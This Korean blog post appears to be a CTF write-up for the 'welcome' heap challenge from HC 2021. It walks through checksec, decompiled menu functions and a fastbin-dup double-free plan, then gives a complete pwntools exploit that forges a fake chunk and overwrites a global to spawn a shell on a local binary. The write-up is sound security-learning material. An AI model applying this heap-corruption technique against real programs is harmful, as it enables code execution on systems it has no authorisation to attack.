2021 SISS 21기 활동/2학시 시스템
[HC 2021] welcome
hyerang0125
2021. 9. 26. 20:17
1️⃣ checksec
64 bit 바이너리 파일이고, Partial RELRO와 Canary, NX가 설정되어 있다.
2️⃣ IDA
main()
player의 이름을 입력받고, 메뉴에 있는 info, malloc, free, key, exit 중 입력받은 번호를 실행하고 있다. fastbin dup을 사용하여 풀이하는 문제인 것 같다.
역시 player는 전역 변수로 선언되어 있다.
Malloc()
위 코드는 0x20 크기의 힙을 할당하고 데이터를 입력할 수 있다.
Free()
Key()
최종적으로 실행하여 셸을 획득할 것이다.
이때 꼭 필요한 target 또한 전역 변수로 선언되어 있다.
3️⃣ Exploit Scenario
- 검증 우회를 위해 두 개의 힙을 할당한다.
- old와 p 포인터를 다르게 하여 Double Free를 발생시킨다.
- Double Free가 발생하여 FD를 조작할 수 있다. 데이터를 입력할 때 할당한 tartget 전역 변수의 주소를 FD 위치에 입력한다.
- 네 번째 할당 때 조작한 FD를 참조하여 할당하기 때문에 target 전역 변수에 힙 청크가 할당된다. target 전역 변수에 힙 청크가 할당되면 0x20210814 값을 입력하여 3번 메뉴를 통해 셸을 획득할 수 있다.
Fake chunk
fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("name: ", fakechunk)
fastbin에서는 prev_size에 대한 검증이 없기 때문에 Fake chunk의 prev_size에는 0을 입력하였다. 이후 할당하려는 힘의 크기는 0x20이기 때문에 힙 청크의 메타데이터 크기를 포함한 0x31을 size로 입력하였다.
fakechunk_name = elf.symbols['player']
malloc(p64(fakechunk_name)) # FD overwrite
malloc("AAAA")
malloc("BBBB")
malloc(p64(0x20210814)) # Arbitrary allocate. write
getshell()
위 코드와 같이 FD를 Fake chunk가 구성된 주소로 조작한다면 검증을 우회한 후, 해당 주소에 힙 청크를 할당할 수 있게 된다. target 전역 변수에 0x20210814를 입력하면 3번 메뉴를 통해 셸을 획득할 수 있다.
exploit.py
from pwn import *
#context.log_level = 'debug'
p = process("./welcome")
def malloc(data):
print p.sendlineafter("> ", "1")
print p.sendlineafter("> ", str(data))
def free(idx):
print p.sendlineafter("> ", "2")
print p.sendlineafter("> ", str(idx))
def getshell():
print p.sendlineafter("> ", "3")
elf = ELF("./welcome")
fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("name: ", fakechunk)
malloc("AAAA") # 0
malloc("AAAA") # 1
free(0)
free(1)
free(0)
target_addr = elf.symbols['target']
fakechunk_name = elf.symbols['player']
malloc(p64(fakechunk_name)) # FD overwrite
malloc("AAAA")
malloc("BBBB")
malloc(p64(0x20210814))
getshell()
p.interactive()
위 코드를 실행하면 셸을 얻을 수 있다.
(중략)
성공!